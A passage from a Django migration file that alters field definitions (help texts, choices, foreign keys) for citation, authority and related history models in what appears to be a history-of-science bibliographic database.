model_name='ccrelation',
name='modified_by_fm',
field=models.CharField(blank=True, help_text='Value of ModifiedOn from the original FM database.', max_length=255, verbose_name='modified by (FM)'),
),
migrations.AlterField(
model_name='ccrelation',
name='modified_on',
field=models.DateTimeField(auto_now=True, help_text='Date and time at which this object was last updated.', null=True),
),
migrations.AlterField(
model_name='ccrelation',
name='modified_on_fm',
field=models.DateTimeField(help_text='Value of ModifiedBy from the original FM database.', null=True, verbose_name='modified on (FM)'),
),
migrations.AlterField(
model_name='ccrelation',
name='object',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='relations_to', to='isisdata.Citation'),
),
migrations.AlterField(
model_name='ccrelation',
name='public',
field=models.BooleanField(default=True, help_text='Controls whether this instance can be viewed by end users.'),
),
migrations.AlterField(
model_name='ccrelation',
name='record_history',
field=models.TextField(blank=True, help_text="Notes about the provenance of the information in this record. e.g. 'supplied by the author,' 'imported from SHOT bibliography,' 'generated by crawling UC Press website'", null=True),
),
migrations.AlterField(
model_name='ccrelation',
name='record_status_value',
field=models.CharField(blank=True, choices=[('Active', 'Active'), ('Duplicate', 'Delete'), ('Redirect', 'Redirect'), ('Inactive', 'Inactive')], db_index=True, default='Active', max_length=255, null=True),
),
migrations.AlterField(
model_name='ccrelation',
name='subject',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='relations_from', to='isisdata.Citation'),
),
migrations.AlterField(
model_name='ccrelation',
name='type_controlled',
field=models.CharField(blank=True, choices=[('IC', 'Includes Chapter'), ('ISA', 'Includes Series Article'), ('ICO', 'Includes'), ('RO', 'Is Review Of'), ('RE', 'Responds To'), ('AS', 'Is Associated With'), ('RB', 'Is Reviewed By')], help_text='Type of relationship between two citation records.', max_length=3, null=True),
),
migrations.AlterField(
model_name='ccrelation',
name='type_free',
field=models.CharField(blank=True, help_text='Type of relationship as used in the citation.', max_length=255),
),
migrations.AlterField(
model_name='ccrelation',
name='zotero_accession',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='zotero.ImportAccession'),
),
migrations.AlterField(
model_name='citation',
name='abstract',
field=models.TextField(blank=True, help_text='Abstract or detailed summaries of a work.', null=True),
),
migrations.AlterField(
model_name='citation',
name='additional_titles',
field=models.TextField(blank=True, help_text='Additional titles (not delimited, free text).', null=True),
),
migrations.AlterField(
model_name='citation',
name='administrator_notes',
field=models.TextField(blank=True, help_text='Curatorial discussion about the record.', null=True),
),
migrations.AlterField(
model_name='citation',
name='belongs_to',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='isisdata.Dataset'),
),
migrations.AlterField(
model_name='citation',
name='book_series',
field=models.CharField(blank=True, help_text='Used for books, and potentially other works in a series.', max_length=255, null=True),
),
migrations.AlterField(
model_name='citation',
name='created_by_fm',
field=models.CharField(blank=True, help_text='Value of CreatedBy from the original FM database.', max_length=255, null=True),
),
migrations.AlterField(
model_name='citation',
name='created_by_native',
field=models.ForeignKey(blank=True, help_text='The user who created this object.', null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='creator_of', to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='citation',
name='created_on_fm',
field=models.DateTimeField(help_text='Value of CreatedOn from the original FM database.', null=True),
),
migrations.AlterField(
model_name='citation',
name='description',
field=models.TextField(blank=True, help_text="Used for additional bibliographic description, such as content summary. For abstracts use the 'Abstract' field.", null=True),
),
migrations.AlterField(
model_name='citation',
name='edition_details',
field=models.TextField(blank=True, help_text='Use for describing the edition or version of the resource. Include names of additional contributors if necessary for clarification (such as translators, introduction by, etc). Always, use relationship table to list contributors (even if they are specified here).', null=True),
),
migrations.AlterField(
model_name='citation',
name='hstm_uploaded',
field=models.CharField(blank=True, choices=[('HS', 'HSTM Upload')], max_length=2, null=True),
),
migrations.AlterField(
model_name='citation',
name='id',
field=models.CharField(help_text='In the format {PRE}{ZEROS}{NN}, where PRE is a three-letter prefix indicating the record type (e.g. CBA for Authority), NN is an integer, and ZEROS is 0-9 zeros to pad NN such that ZEROS+NN is nine characters in length.', max_length=200, primary_key=True, serialize=False),
),
migrations.AlterField(
model_name='citation',
name='language',
field=models.ManyToManyField(blank=True, help_text='Language of the resource. Multiple languages can be specified.', null=True, to='isisdata.Language'),
),
migrations.AlterField(
model_name='citation',
name='modified_by',
field=models.ForeignKey(blank=True, help_text='The most recent user to modify this object.', null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='citation',
name='modified_by_fm',
field=models.CharField(blank=True, help_text='Value of ModifiedOn from the original FM database.', max_length=255, verbose_name='modified by (FM)'),
),
migrations.AlterField(
model_name='citation',
name='modified_on',
field=models.DateTimeField(auto_now=True, help_text='Date and time at which this object was last updated.', null=True),
),
migrations.AlterField(
model_name='citation',
name='modified_on_fm',
field=models.DateTimeField(help_text='Value of ModifiedBy from the original FM database.', null=True, verbose_name='modified on (FM)'),
),
migrations.AlterField(
model_name='citation',
name='part_details',
field=models.OneToOneField(blank=True, help_text='New field: contains volume, issue, page information for works that are parts of larger works.', null=True, on_delete=django.db.models.deletion.SET_NULL, to='isisdata.PartDetails'),
),
migrations.AlterField(
model_name='citation',
name='physical_details',
field=models.CharField(blank=True, help_text='For describing the physical description of the resource. Use whatever information is appropriate for the type of resource.', max_length=255, null=True),
),
migrations.AlterField(
model_name='citation',
name='public',
field=models.BooleanField(default=True, help_text='Controls whether this instance can be viewed by end users.'),
),
migrations.AlterField(
model_name='citation',
name='publication_date',
field=models.DateField(blank=True, help_text='Used for search and sort functionality. Does not replace Attribute functionality.', null=True),
),
migrations.AlterField(
model_name='citation',
name='record_action',
field=models.CharField(blank=True, choices=[('EX', 'External Proof'), ('QU', 'Query Proof'), ('HO', 'Hold'), ('RC', 'RLG Correct')], help_text='Used to track the record through curation process.', max_length=2),
),
migrations.AlterField(
model_name='citation',
name='record_history',
field=models.TextField(blank=True, help_text="Notes about the provenance of the information in this record. e.g. 'supplied by the author,' 'imported from SHOT bibliography,' 'generated by crawling UC Press website'", null=True),
),
migrations.AlterField(
model_name='citation',
name='record_status_value',
field=models.CharField(blank=True, choices=[('Active', 'Active'), ('Duplicate', 'Delete'), ('Redirect', 'Redirect'), ('Inactive', 'Inactive')], db_index=True, default='Active', max_length=255, null=True),
),
migrations.AlterField(
model_name='citation',
name='status_of_record',
field=models.CharField(blank=True, choices=[('CL', 'Content List'), ('SB', 'Source Book'), ('SC', 'Scope'), ('FX', 'Fix Record'), ('DP', 'Duplicate'), ('DL', 'Delete'), ('RL', 'Isis RLG')], help_text='\n Used to control printing in the paper volume of the CB.\n ', max_length=2),
),
migrations.AlterField(
model_name='citation',
name='subtype',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='isisdata.CitationSubtype'),
),
migrations.AlterField(
model_name='citation',
name='title',
field=models.CharField(blank=True, help_text="The name to be used to identify the resource. For reviews that traditionally have no title, this should be added as something like '[Review of Title (Year) by Author]'.", max_length=2000),
),
migrations.AlterField(
model_name='citation',
name='tracking_state',
field=models.CharField(blank=True, choices=[('HS', 'HSTM Upload'), ('PT', 'Printed'), ('AU', 'Authorized'), ('PD', 'Proofed'), ('FU', 'Fully Entered'), ('NO', 'None')], db_index=True, max_length=2, null=True),
),
migrations.AlterField(
model_name='citation',
name='type_controlled',
field=models.CharField(blank=True, choices=[('BO', 'Book'), ('AR', 'Article'), ('CH', 'Chapter'), ('RE', 'Review'), ('ES', 'Essay Review'), ('TH', 'Thesis'), ('EV', 'Event'), ('WO', 'Web Object'), ('MO', 'Multimedia Object'), ('AO', 'Archive Object'), ('DR', 'Digital Resource'), ('PC', 'Personal Recognition')], help_text='This list can be extended to the resource types specified by Doublin Core Recource Types http://dublincore.org/documents/resource-typelist/', max_length=2, null=True, verbose_name='type'),
),
migrations.AlterField(
model_name='citation',
name='zotero_accession',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='zotero.ImportAccession'),
),
migrations.AlterField(
model_name='citationcollection',
name='createdBy',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='citation_collections', to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='citationsubtype',
name='description',
field=models.TextField(blank=True, help_text="A brief description that will be displayed to help identify the authority. Such as, brief bio or a scope note. For classification terms will be text like 'Classification term from the XXX classification schema.'", null=True),
),
migrations.AlterField(
model_name='citationsubtype',
name='name',
field=models.CharField(db_index=True, help_text='Name of the new subtype.', max_length=1000),
),
migrations.AlterField(
model_name='citationsubtype',
name='related_citation_type',
field=models.CharField(blank=True, choices=[('BO', 'Book'), ('AR', 'Article'), ('CH', 'Chapter'), ('RE', 'Review'), ('ES', 'Essay Review'), ('TH', 'Thesis'), ('EV', 'Event'), ('WO', 'Web Object'), ('MO', 'Multimedia Object'), ('AO', 'Archive Object'), ('DR', 'Digital Resource'), ('PC', 'Personal Recognition')], help_text='Type of which this object is a subtype, e.g. Review or Chapter.', max_length=2, null=True, verbose_name='citation type'),
),
migrations.AlterField(
model_name='citationsubtype',
name='unique_name',
field=models.CharField(db_index=True, help_text='Unique name of a subtype, use to reference a subtype.', max_length=1000),
),
migrations.AlterField(
model_name='crudrule',
name='crud_action',
field=models.CharField(choices=[('create', 'Create'), ('view', 'View'), ('update', 'Update'), ('delete', 'Delete')], max_length=255),
),
migrations.AlterField(
model_name='dataset',
name='administrator_notes',
field=models.TextField(blank=True, help_text='Curatorial discussion about the record.', null=True),
),
migrations.AlterField(
model_name='dataset',
name='belongs_to',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='isisdata.Dataset'),
),
migrations.AlterField(
model_name='dataset',
name='created_by_fm',
field=models.CharField(blank=True, help_text='Value of CreatedBy from the original FM database.', max_length=255, null=True),
),
migrations.AlterField(
model_name='dataset',
name='created_on_fm',
field=models.DateTimeField(help_text='Value of CreatedOn from the original FM database.', null=True),
),
migrations.AlterField(
model_name='dataset',
name='modified_by',
field=models.ForeignKey(blank=True, help_text='The most recent user to modify this object.', null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='dataset',
name='modified_by_fm',
field=models.CharField(blank=True, help_text='Value of ModifiedOn from the original FM database.', max_length=255, verbose_name='modified by (FM)'),
),
migrations.AlterField(
model_name='dataset',
name='modified_on',
field=models.DateTimeField(auto_now=True, help_text='Date and time at which this object was last updated.', null=True),
),
migrations.AlterField(
model_name='dataset',
name='modified_on_fm',
field=models.DateTimeField(help_text='Value of ModifiedBy from the original FM database.', null=True, verbose_name='modified on (FM)'),
),
migrations.AlterField(
model_name='dataset',
name='public',
field=models.BooleanField(default=True, help_text='Controls whether this instance can be viewed by end users.'),
),
migrations.AlterField(
model_name='dataset',
name='record_history',
field=models.TextField(blank=True, help_text="Notes about the provenance of the information in this record. e.g. 'supplied by the author,' 'imported from SHOT bibliography,' 'generated by crawling UC Press website'", null=True),
),
migrations.AlterField(
model_name='dataset',
name='record_status_value',
field=models.CharField(blank=True, choices=[('Active', 'Active'), ('Duplicate', 'Delete'), ('Redirect', 'Redirect'), ('Inactive', 'Inactive')], db_index=True, default='Active', max_length=255, null=True),
),
migrations.AlterField(
model_name='dataset',
name='zotero_accession',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='zotero.ImportAccession'),
),
migrations.AlterField(
model_name='fieldrule',
name='field_action',
field=models.CharField(choices=[('cannot_view', 'Cannot View'), ('cannot_update', 'Cannot Update')], max_length=255),
),
migrations.AlterField(
model_name='historicalacrelation',
name='administrator_notes',
field=models.TextField(blank=True, help_text='Curatorial discussion about the record.', null=True),
),
migrations.AlterField(
model_name='historicalacrelation',
name='confidence_measure',
field=models.FloatField(default=1.0, help_text='Currently not used: will be used to assess the confidence of the link in the event that there is some ambiguity.', validators=[django.core.validators.MinValueValidator(0), django.core.validators.MaxValueValidator(1)]),
),
migrations.AlterField(
model_name='historicalacrelation',
name='created_by_fm',
field=models.CharField(blank=True, help_text='Value of CreatedBy from the original FM database.', max_length=255, null=True),
),
migrations.AlterField(
model_name='historicalacrelation',
name='created_on_fm',
field=models.DateTimeField(help_text='Value of CreatedOn from the original FM database.', null=True),
),
migrations.AlterField(
model_name='historicalacrelation',
name='data_display_order',
field=models.FloatField(default=1.0, help_text='Position at which the authority should be displayed in the citation detail view. Whole numbers or decimals can be used.'),
),
migrations.AlterField(
model_name='historicalacrelation',
name='id',
field=models.CharField(db_index=True, help_text='In the format {PRE}{ZEROS}{NN}, where PRE is a three-letter prefix indicating the record type (e.g. CBA for Authority), NN is an integer, and ZEROS is 0-9 zeros to pad NN such that ZEROS+NN is nine characters in length.', max_length=200),
),
migrations.AlterField(
model_name='historicalacrelation',
name='modified_by',
field=models.ForeignKey(blank=True, db_constraint=False, help_text='The most recent user to modify this object.', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='historicalacrelation',
name='modified_by_fm',
field=models.CharField(blank=True, help_text='Value of ModifiedOn from the original FM database.', max_length=255, verbose_name='modified by (FM)'),
),
migrations.AlterField(
model_name='historicalacrelation',
name='modified_on',
field=models.DateTimeField(blank=True, editable=False, help_text='Date and time at which this object was last updated.', null=True),
),
migrations.AlterField(
model_name='historicalacrelation',
name='modified_on_fm',
field=models.DateTimeField(help_text='Value of ModifiedBy from the original FM database.', null=True, verbose_name='modified on (FM)'),
),
migrations.AlterField(
model_name='historicalacrelation',
name='name_as_entered',
field=models.CharField(blank=True, help_text='Display for the authority as it is has been used in a publication.', max_length=255, null=True),
),
migrations.AlterField(
model_name='historicalacrelation',
name='name_for_display_in_citation',
field=models.CharField(blank=True, help_text="Display for the authority as it is to be used when being displayed with the citation. Eg. the form of the author's name as it appears on a publication--say, J.E. Koval--which might be different from the name of the authority--Jenifer Elizabeth Koval.", max_length=255, null=True),
),
migrations.AlterField(
model_name='historicalacrelation',
name='public',
field=models.BooleanField(default=True, help_text='Controls whether this instance can be viewed by end users.'),
),
migrations.AlterField(
model_name='historicalacrelation',
name='record_history',
field=models.TextField(blank=True, help_text="Notes about the provenance of the information in this record. e.g. 'supplied by the author,' 'imported from SHOT bibliography,' 'generated by crawling UC Press website'", null=True),
),
migrations.AlterField(
model_name='historicalacrelation',
name='record_status_value',
field=models.CharField(blank=True, choices=[('Active', 'Active'), ('Duplicate', 'Delete'), ('Redirect', 'Redirect'), ('Inactive', 'Inactive')], db_index=True, default='Active', max_length=255, null=True),
),
migrations.AlterField(
model_name='historicalacrelation',
name='relationship_weight',
field=models.FloatField(default=1.0, help_text='Currently not used: helps to assess how significant this relationship is--to be used mostly in marking subjects.', validators=[django.core.validators.MinValueValidator(0), django.core.validators.MaxValueValidator(2)]),
),
migrations.AlterField(
model_name='historicalacrelation',
name='type_broad_controlled',
field=models.CharField(blank=True, choices=[('PR', 'Has Personal Responsibility For'), ('SC', 'Provides Subject Content About'), ('IH', 'Is Institutional Host Of'), ('PH', 'Is Publication Host Of')], help_text='Used to specify the nature of the relationship between authority (as the subject) and the citation (as the object) more broadly than the relationship type.', max_length=2, null=True, verbose_name='relationship type (broad)'),
),
migrations.AlterField(
model_name='historicalacrelation',
name='type_controlled',
field=models.CharField(blank=True, choices=[('AU', 'Author'), ('ED', 'Editor'), ('AD', 'Advisor'), ('CO', 'Contributor'), ('TR', 'Translator'), ('SU', 'Subject'), ('CA', 'Category'), ('PU', 'Publisher'), ('SC', 'School'), ('IN', 'Institution'), ('ME', 'Meeting'), ('PE', 'Periodical'), ('BS', 'Book Series'), ('CM', 'Committee Member'), ('OR', 'Organizer'), ('IV', 'Interviewer'), ('GU', 'Guest'), ('CR', 'Creator'), ('PR', 'Producer'), ('DI', 'Director'), ('WR', 'Writer'), ('PF', 'Performer'), ('CL', 'Collector'), ('AR', 'Archivist'), ('RE', 'Researcher'), ('DE', 'Developer'), ('CP', 'Compiler'), ('AW', 'Awardee'), ('OF', 'Officer'), ('HO', 'Host'), ('DS', 'Distributor'), ('AC', 'Archival Repository'), ('MI', 'Maintaining Institution'), ('PG', 'Presenting Group')], help_text='Used to specify the nature of the relationship between authority (as the subject) and the citation (as the object).', max_length=2, null=True, verbose_name='relationship type'),
),
migrations.AlterField(
model_name='historicalacrelation',
name='type_free',
field=models.CharField(blank=True, help_text="\n Free-text description of the role that the authority plays in the\n citation (e.g. 'introduction by', 'dissertation supervisor', etc).\n ", max_length=255, verbose_name='relationship type (free-text)'),
),
migrations.AlterField(
model_name='historicalattribute',
name='administrator_notes',
field=models.TextField(blank=True, help_text='Curatorial discussion about the record.', null=True),
),
migrations.AlterField(
model_name='historicalattribute',
name='created_by_fm',
field=models.CharField(blank=True, help_text='Value of CreatedBy from the original FM database.', max_length=255, null=True),
),
migrations.AlterField(
model_name='historicalattribute',
name='created_on_fm',
field=models.DateTimeField(help_text='Value of CreatedOn from the original FM database.', null=True),
),
migrations.AlterField(
model_name='historicalattribute',
name='description',
field=models.TextField(blank=True, help_text='Additional information about this attribute.'),
),
migrations.AlterField(
model_name='historicalattribute',
name='id',
field=models.CharField(db_index=True, help_text='In the format {PRE}{ZEROS}{NN}, where PRE is a three-letter prefix indicating the record type (e.g. CBA for Authority), NN is an integer, and ZEROS is 0-9 zeros to pad NN such that ZEROS+NN is nine characters in length.', max_length=200),
),
migrations.AlterField(
model_name='historicalattribute',
name='modified_by',
field=models.ForeignKey(blank=True, db_constraint=False, help_text='The most recent user to modify this object.', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='historicalattribute',
name='modified_by_fm',
field=models.CharField(blank=True, help_text='Value of ModifiedOn from the original FM database.', max_length=255, verbose_name='modified by (FM)'),
),
migrations.AlterField(
model_name='historicalattribute',
name='modified_on',
field=models.DateTimeField(blank=True, editable=False, help_text='Date and time at which this object was last updated.', null=True),
),
migrations.AlterField(
model_name='historicalattribute',
name='modified_on_fm',
field=models.DateTimeField(help_text='Value of ModifiedBy from the original FM database.', null=True, verbose_name='modified on (FM)'),
),
migrations.AlterField(
model_name='historicalattribute',
name='public',
field=models.BooleanField(default=True, help_text='Controls whether this instance can be viewed by end users.'),
),
migrations.AlterField(
model_name='historicalattribute',
name='record_history',
field=models.TextField(blank=True, help_text="Notes about the provenance of the information in this record. e.g. 'supplied by the author,' 'imported from SHOT bibliography,' 'generated by crawling UC Press website'", null=True),
),
migrations.AlterField(
model_name='historicalattribute',
name='record_status_value',
field=models.CharField(blank=True, choices=[('Active', 'Active'), ('Duplicate', 'Delete'), ('Redirect', 'Redirect'), ('Inactive', 'Inactive')], db_index=True, default='Active', max_length=255, null=True),
),
migrations.AlterField(
model_name='historicalattribute',
name='type_controlled',
field=models.ForeignKey(blank=True, db_constraint=False, help_text='The "type" field determines what kinds of values are acceptable for this attribute.', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='isisdata.AttributeType', verbose_name='type'),
),
migrations.AlterField(
model_name='historicalattribute',
name='type_qualifier',
field=models.CharField(blank=True, choices=[('BGN', 'Began'), ('END', 'Ended'), ('OCR', 'Occurred')], max_length=3, null=True),
),
migrations.AlterField(
model_name='historicalattribute',
name='value_freeform',
field=models.CharField(blank=True, help_text='Non-normalized value, e.g. an approximate date, or a date range.', max_length=255, verbose_name='freeform value'),
),
migrations.AlterField(
model_name='historicalauthority',
name='administrator_notes',
field=models.TextField(blank=True, help_text='Curatorial discussion about the record.', null=True),
),
migrations.AlterField(
model_name='historicalauthority',
name='classification_code',
field=models.CharField(blank=True, db_index=True, help_text='alphanumeric code used in previous classification systems to describe classification terms. Primarily of historical interest only. Used primarily for Codes for the classificationTerms. however, can be used for other kinds of terms as appropriate.', max_length=255, null=True),
),
migrations.AlterField(
model_name='historicalauthority',
name='classification_hierarchy',
field=models.CharField(blank=True, db_index=True, help_text='Used for Classification Terms to describe where they fall in the hierarchy.', max_length=255, null=True),
),
migrations.AlterField(
model_name='historicalauthority',
name='classification_system',
field=models.CharField(blank=True, choices=[('SPWT', 'Weldon Thesaurus Terms (2002-present)'), ('SPWC', 'Weldon Classification System (2002-present)'), ('GUE', 'Guerlac Committee Classification System (1953-2001)'), ('NEU', 'Neu'), ('MW', 'Whitrow Classification System (1913-1999)'), ('SHOT', 'SHOT Thesaurus Terms'), ('FHSA', 'Forum for the History of Science in America'), ('SAC', 'Search App Concept'), ('PN', 'Proper name')], db_index=True, default='SPWC', help_text='Specifies the classification system that is the source of the authority. Used to group resources by the Classification system. The system used currently is the Weldon System. All the other ones are for reference or archival purposes only.', max_length=4, null=True),
),
migrations.AlterField(
model_name='historicalauthority',
name='created_by_fm',
field=models.CharField(blank=True, help_text='Value of CreatedBy from the original FM database.', max_length=255, null=True),
),
migrations.AlterField(
model_name='historicalauthority',
name='created_by_stored',
field=models.ForeignKey(blank=True, db_constraint=False, help_text='The user who created this object.', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='historicalauthority',
name='created_on_fm',
field=models.DateTimeField(help_text='Value of CreatedOn from the original FM database.', null=True),
),
migrations.AlterField(
model_name='historicalauthority',
name='description',
field=models.TextField(blank=True, help_text="A brief description that will be displayed to help identify the authority. Such as, brief bio or a scope note. For classification terms will be text like 'Classification term from the XXX classification schema.'", null=True),
),
migrations.AlterField(
model_name='historicalauthority',
name='id',
field=models.CharField(db_index=True, help_text='In the format {PRE}{ZEROS}{NN}, where PRE is a three-letter prefix indicating the record type (e.g. CBA for Authority), NN is an integer, and ZEROS is 0-9 zeros to pad NN such that ZEROS+NN is nine characters in length.', max_length=200),
),
migrations.AlterField(
model_name='historicalauthority',
name='modified_by',
field=models.ForeignKey(blank=True, db_constraint=False, help_text='The most recent user to modify this object.', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='historicalauthority',
name='modified_by_fm',
field=models.CharField(blank=True, help_text='Value of ModifiedOn from the original FM database.', max_length=255, verbose_name='modified by (FM)'),
),
migrations.AlterField(
model_name='historicalauthority',
name='modified_on',
field=models.DateTimeField(blank=True, editable=False, help_text='Date and time at which this object was last updated.', null=True),
),
migrations.AlterField(
model_name='historicalauthority',
name='modified_on_fm',
field=models.DateTimeField(help_text='Value of ModifiedBy from the original FM database.', null=True, verbose_name='modified on (FM)'),
),
migrations.AlterField(
model_name='historicalauthority',
name='name',
field=models.CharField(db_index=True, help_text='Name, title, or other main term for the authority as will be displayed.', max_length=1000),
),
migrations.AlterField(
model_name='historicalauthority',
name='public',
field=models.BooleanField(default=True, help_text='Controls whether this instance can be viewed by end users.'),
),
migrations.AlterField(
model_name='historicalauthority',
name='record_history',
field=models.TextField(blank=True, help_text="Notes about the provenance of the information in this record. e.g. 'supplied by the author,' 'imported from SHOT bibliography,' 'generated by crawling UC Press website'", null=True),
),
migrations.AlterField(
model_name='historicalauthority',
name='record_status',
field=models.CharField(blank=True, choices=[('AC', 'Active'), ('DU', 'Duplicate'), ('RD', 'Redirect'), ('IN', 'Inactive')], max_length=2, null=True),
),
migrations.AlterField(
model_name='historicalauthority',
name='record_status_value',
field=models.CharField(blank=True, choices=[('Active', 'Active'), ('Duplicate', 'Delete'), ('Redirect', 'Redirect'), ('Inactive', 'Inactive')], db_index=True, default='Active', max_length=255, null=True),
),
migrations.AlterField(
model_name='historicalauthority',
name='tracking_state',
field=models.CharField(blank=True, choices=[('HS', 'HSTM Upload'), ('PT', 'Printed'), ('AU', 'Authorized'), ('PD', 'Proofed'), ('FU', 'Fully Entered'), ('BD', 'Bulk Data Update'), ('NO', 'No')], db_index=True, max_length=2, null=True),
),
migrations.AlterField(
model_name='historicalauthority',
name='type_controlled',
field=models.CharField(blank=True, choices=[('PE', 'Person'), ('IN', 'Institution'), ('TI', 'Time Period'), ('GE', 'Geographic Term'), ('SE', 'Serial Publication'), ('CT', 'Classification Term'), ('CO', 'Concept'), ('CW', 'Creative Work'), ('EV', 'Event'), ('CR', 'Cross-reference')], db_index=True, help_text='Specifies authority type. Each authority thema has its own list of controlled type vocabulary.', max_length=2, null=True, verbose_name='type'),
),
migrations.AlterField(
model_name='historicalauthoritytracking',
name='administrator_notes',
field=models.TextField(blank=True, help_text='Curatorial discussion about the record.', null=True),
),
migrations.AlterField(
model_name='historicalauthoritytracking',
name='created_by_fm',
field=models.CharField(blank=True, help_text='Value of CreatedBy from the original FM database.', max_length=255, null=True),
),
migrations.AlterField(
model_name='historicalauthoritytracking',
name='created_on_fm',
field=models.DateTimeField(help_text='Value of CreatedOn from the original FM database.', null=True),
),
migrations.AlterField(
model_name='historicalauthoritytracking',
name='id',
field=models.CharField(db_index=True, help_text='In the format {PRE}{ZEROS}{NN}, where PRE is a three-letter prefix indicating the record type (e.g. CBA for Authority), NN is an integer, and ZEROS is 0-9 zeros to pad NN such that ZEROS+NN is nine characters in length.', max_length=200),
),
migrations.AlterField(
model_name='historicalauthoritytracking',
name='modified_by',
field=models.ForeignKey(blank=True, db_constraint=False, help_text='The most recent user to modify this object.', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='historicalauthoritytracking',
name='modified_by_fm',
field=models.CharField(blank=True, help_text='Value of ModifiedOn from the original FM database.', max_length=255, verbose_name='modified by (FM)'),
),
migrations.AlterField(
model_name='historicalauthoritytracking',
name='modified_on',
field=models.DateTimeField(blank=True, editable=False, help_text='Date and time at which this object was last updated.', null=True),
),
migrations.AlterField(
model_name='historicalauthoritytracking',
name='modified_on_fm',
field=models.DateTimeField(help_text='Value of ModifiedBy from the original FM database.', null=True, verbose_name='modified on (FM)'),
),
migrations.AlterField(
model_name='historicalauthoritytracking',
name='public',
field=models.BooleanField(default=True, help_text='Controls whether this instance can be viewed by end users.'),
),
migrations.AlterField(
model_name='historicalauthoritytracking',
name='record_history',
field=models.TextField(blank=True, help_text="Notes about the provenance of the information in this record. e.g. 'supplied by the author,' 'imported from SHOT bibliography,' 'generated by crawling UC Press website'", null=True),
),
migrations.AlterField(
model_name='historicalauthoritytracking',
name='record_status_value',
field=models.CharField(blank=True, choices=[('Active', 'Active'), ('Duplicate', 'Delete'), ('Redirect', 'Redirect'), ('Inactive', 'Inactive')], db_index=True, default='Active', max_length=255, null=True),
),
migrations.AlterField(
model_name='historicalauthoritytracking',
name='type_controlled',
field=models.CharField(blank=True, choices=[('HS', 'HSTM Upload'), ('PT', 'Printed'), ('AU', 'Authorized'), ('PD', 'Proofed'), ('FU', 'Fully Entered'), ('BD', 'Bulk Data Update'), ('NO', 'None')], db_index=True, max_length=2, null=True),
),
migrations.AlterField(
model_name='historicalccrelation',
name='administrator_notes',
field=models.TextField(blank=True, help_text='Curatorial discussion about the record.', null=True),
),
migrations.AlterField(
model_name='historicalccrelation',
name='created_by_fm',
field=models.CharField(blank=True, help_text='Value of CreatedBy from the original FM database.', max_length=255, null=True),
),
migrations.AlterField(
model_name='historicalccrelation',
name='created_on_fm',
field=models.DateTimeField(help_text='Value of CreatedOn from the original FM database.', null=True),
),
migrations.AlterField(
model_name='historicalccrelation',
name='data_display_order',
field=models.FloatField(default=1.0, help_text='Position at which the citation should be displayed in the citation detail view. Whole numbers or decimals can be used.'),
),
migrations.AlterField(
model_name='historicalccrelation',
name='id',
field=models.CharField(db_index=True, help_text='In the format {PRE}{ZEROS}{NN}, where PRE is a three-letter prefix indicating the record type (e.g. CBA for Authority), NN is an integer, and ZEROS is 0-9 zeros to pad NN such that ZEROS+NN is nine characters in length.', max_length=200),
),
migrations.AlterField(
model_name='historicalccrelation',
name='modified_by',
field=models.ForeignKey(blank=True, db_constraint=False, help_text='The most recent user to modify this object.', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='historicalccrelation',
name='modified_by_fm',
field=models.CharField(blank=True, help_text='Value of ModifiedOn from the original FM database.', max_length=255, verbose_name='modified by (FM)'),
),
migrations.AlterField(
model_name='historicalccrelation',
name='modified_on',
field=models.DateTimeField(blank=True, editable=False, help_text='Date and time at which this object was last updated.', null=True),
),
migrations.AlterField(
model_name='historicalccrelation',
name='modified_on_fm',
field=models.DateTimeField(help_text='Value of ModifiedBy from the original FM database.', null=True, verbose_name='modified on (FM)'),
),
migrations.AlterField(
model_name='historicalccrelation',
name='public',
field=models.BooleanField(default=True, help_text='Controls whether this instance can be viewed by end users.'),
),
migrations.AlterField(
model_name='historicalccrelation',
name='record_history',
field=models.TextField(blank=True, help_text="Notes about the provenance of the information in this record. e.g. 'supplied by the author,' 'imported from SHOT bibliography,' 'generated by crawling UC Press website'", null=True),
),
migrations.AlterField(
model_name='historicalccrelation',
name='record_status_value',
field=models.CharField(blank=True, choices=[('Active', 'Active'), ('Duplicate', 'Delete'), ('Redirect', 'Redirect'), ('Inactive', 'Inactive')], db_index=True, default='Active', max_length=255, null=True),
),
migrations.AlterField(
model_name='historicalccrelation',
name='type_controlled',
field=models.CharField(blank=True, choices=[('IC', 'Includes Chapter'), ('ISA', 'Includes Series Article'), ('ICO', 'Includes'), ('RO', 'Is Review Of'), ('RE', 'Responds To'), ('AS', 'Is Associated With'), ('RB', 'Is Reviewed By')], help_text='Type of relationship between two citation records.', max_length=3, null=True),
),
migrations.AlterField(
model_name='historicalccrelation',
name='type_free',
field=models.CharField(blank=True, help_text='Type of relationship as used in the citation.', max_length=255),
),
migrations.AlterField(
model_name='historicalcitation',
name='abstract',
